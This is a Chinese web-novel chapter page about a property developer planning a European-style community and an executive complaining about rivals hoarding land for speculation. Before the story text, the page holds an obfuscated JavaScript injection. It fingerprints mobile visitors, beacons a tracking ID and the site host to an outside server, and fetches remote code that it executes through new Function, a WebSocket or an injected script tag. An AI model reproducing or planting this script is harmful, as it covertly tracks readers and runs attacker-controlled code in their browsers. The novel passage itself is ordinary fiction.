足迹
不想努力
登录
关灯
护眼
字体:

第151章 炒地皮(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

老范在医院足足停留十二天。

做完检查确定没问题,又被送进去继续熬日子。

没办法的事。

有了之前的经验,而且在外面待了十多天,这次还算淡定。

他现在只想继续好好表现,争取在刑期结束前就拿个减刑,?律师说因为对社会有重大贡献,?说不定有机会缩短两到四个月。

考察完泰晤士小镇后。

范连城动起了打造一座欧式社区的心思,并且准备付诸实际,将目光瞄准了海棠湾的那一大块地。

之所以要把海棠湾那块地拿出来,是因为昨天早上开会,耿牛董事长在会议上提出说要开始规划,龙城已经被当地官方点名。

范连城负责这一块。

会后就开始考虑起社区建筑风格的定位,计划是先把一期搞好,边开发边等待,出售时间另外商议。

那块土地拿到手挺久了,今年以来,海棠湾地区房价上涨迅速。

部分上涨原因在于,九十年代地产泡沫,也就是老范当年差点破产那段时间所积压的房子和土地,终于在十多年时间里逐渐消化掉,?大量东北人过去买房,近年来需求量猛增。

转眼间。

参观泰晤士小镇已经是十多天前的事,期间并没有留下太多印象,绝大多数建筑还没完工,那样的小镇在英国随处可见,其他欧洲国家也多,早已看习惯了。

纯粹从审美角度出发,除了园林、四合院这些以外,那边精致的建筑造型会让人觉得更适合居住,而不是节省成本和土地后,批量制造出来的......房子,仅仅只用于居住,看见外观察觉不到美感。

陪同前往的秦芷助理,从小就跟房子打交道,当时竟然动起了在泰晤士小镇里买房的念头,还询问旁人那些独栋别墅一平米多少钱,用手机到处拍照。

让人想要拍照留念,对于建筑而言已经是很高的评价。

从商业角度来看。

在土地价格昂贵的地段建造那种房子,意味着售价也会极高,前几年老范帮范连城在海德公园旁,买了套价格上千万英镑的房子,不也就只是复式公寓而已,更多人在意的则是性价比与便捷性,好不好看反倒成了次要。

十一月二十七号这天,范连城的办公室里迎来一位分公司高管,西南分公司负责人,姓吕名山药,听着有点怪。

吕山药主管西南分公司,地位差不多跟秦助理她老子持平,见面几分钟后结束客套,终于说上正事。

他抽着烟,告诉范连城说:

“这事吧,要不是真正太重要,我也不会亲自赶过来,何记黄埔公司正在谈一块地,位于山城的南岸杨家山片区,大约两千五百亩,打算搞个大型综合项目,集居住、商业、公园于一体。

面积太大了,总建筑面积四百好几十万平方米,容积率估计能往三上走,南边老李多精明,折算起来一平米入手价几百块钱,肯定又是画个大饼,然后囤在手里炒地皮,放眼全国能看见几个长江和黄埔开发的房子?

就低买高卖,倒腾地皮而已,他儿子不也在北边花五个多亿拿了块写字楼用地,?赌咱们这里地价还会再涨。先跟你说清楚,哪怕后面几年都不在我们那拿地,这块地我也要争过来,关键是面积大,开发起来也容易,边捂边开发,肯定有前途。”

说来说去,还是边开发边捂地,仅比单纯的炒地皮稍微好点,好歹能带动当地就业和房地产上下游行业。

范连城工作那么久,对整个行业已经比较了解。

按照他手头上的资料来看,全国有差不多三分之一房地产开发商都宁愿炒地,也不愿意动一锹土,?尤其是最近两年,很多只是顶着开发商的头衔拿地投资,大大加剧了土地市场的价格泡沫。

竞争者多了,却看不见房子上市,苦的最后还是购房者们,对龙城集团这种囤地规模较少的开发商,同样是件坏事。

龙城集团正儿八经卖房子,拿地价格被人越推越高,甚至营造出了“面粉贵过面包”的局面。

也就是指建成房子后,算算每平米造价,甚至比周边卖出的房价还高,拿地价格高了,房价自然也就水涨船高,融资建造都是成本,总不可能亏本对外销售。

比如南边老李,俨然属于炒地皮的行家,有些土地拿到手十来年,到现在仍是一片空地,价值能翻个好几倍,转手一卖利润极高。